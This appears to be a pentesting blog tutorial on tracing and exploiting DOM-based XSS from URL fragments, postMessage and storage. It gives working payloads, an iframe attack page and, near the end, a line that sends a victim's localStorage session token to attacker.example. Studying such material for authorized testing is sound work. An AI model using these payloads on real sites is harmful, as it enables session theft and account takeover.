cd ../blog

DOM XSS: When the Vulnerability Never Touches the Server

DOM-based cross-site scripting lives entirely in client-side JavaScript, invisible to server-side filters. We trace sources to sinks and lock them down.

DOM-based XSS is the variant your server never sees: tainted data flows from a client-side source like the URL fragment into a dangerous JavaScript sink, and the payload may never appear in any request the server inspects. This is how to trace sources to sinks in the browser and fire a working PoC.

Finding it

DOM XSS is a taint-tracking problem that lives entirely in the page. You are looking for a flow from a source (browser-controlled input) into a sink (an API that turns a string into markup or code).

Sources to watch:

  • location.hash, location.search, location.href
  • document.referrer
  • postMessage event data
  • values read back out of localStorage/sessionStorage

Sinks that execute:

  • element.innerHTML, outerHTML, insertAdjacentHTML
  • document.write
  • eval, Function, setTimeout/setInterval with a string argument
  • jQuery $(...) with attacker-influenced input

Practical discovery: open DevTools, set a breakpoint on innerHTML via Object.defineProperty or just search the bundle for the sink names, then trace the argument backward to a source. A quick console hook flags any write that contains your canary:

// Paste in DevTools, then load the page with #domxss-canary in the URL
const d = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
  set(v) { if (String(v).includes('domxss-canary')) debugger; return d.set.call(this, v); }
});

DOMInvader (built into Burp's browser) automates the same idea — it injects a canary into every source and reports which sink it reaches. Because the fragment never hits the server, a clean server-side pentest tells you nothing here.

Proof of concept

The textbook flow is fragment-to-innerHTML. The page does:

const tab = decodeURIComponent(location.hash.slice(1));
document.getElementById("panel").innerHTML = "You are viewing: " + tab;

Because innerHTML will not run a bare <script>, use an auto-firing event handler. Load this URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.domain)>

The image fails to load, onerror runs, and the alert showing the page's own origin is your proof. Swap the payload to <svg onload=alert(document.domain)> if <img> is stripped.

When the sink is eval/setTimeout, you do not even need HTML:

https://app.example.com/#;alert(document.domain)//

When the source is localStorage rather than the URL, the PoC is a two-step flow: first get attacker data into storage (often via an earlier reflected param the app caches, or a separate endpoint that writes it), then load the page that reads it back into a sink. Demonstrate the write and the subsequent execution together so the chain is unambiguous.

For a postMessage sink, the PoC is an attacker page that frames the target and posts to it:

<iframe src="https://app.example.com/widget" id="t"></iframe>
<script>
  document.getElementById('t').onload = () => {
    frames[0].postMessage('<img src=x onerror=alert(document.domain)>', '*');
  };
</script>

If the listener pipes event.data into a sink without checking event.origin, the payload fires.

Going further

Replace the harmless alert with something that demonstrates real impact — that is what separates a proof from a curiosity. Steal a JavaScript-readable session token:

#<img src=x onerror="new Image().src='https://attacker.example/c?t='+encodeURIComponent(localStorage.token)">

A request landing on your server carrying the victim's token shows account takeover. Other escalations to demonstrate: performing a state-changing action as the user, key-logging form fields, or pivoting to another same-origin page.

The escape hatches in modern frameworks are where DOM XSS survives even after auto-escaping kills the easy cases — grep specifically for dangerouslySetInnerHTML, v-html, Angular bypassSecurityTrustHtml, and any hand-rolled innerHTML. Those are your highest-yield review targets. Capture the exact URL/payload, the source-to-sink path you traced, and the alert (or the exfil request) as evidence. Test only on authorized origins.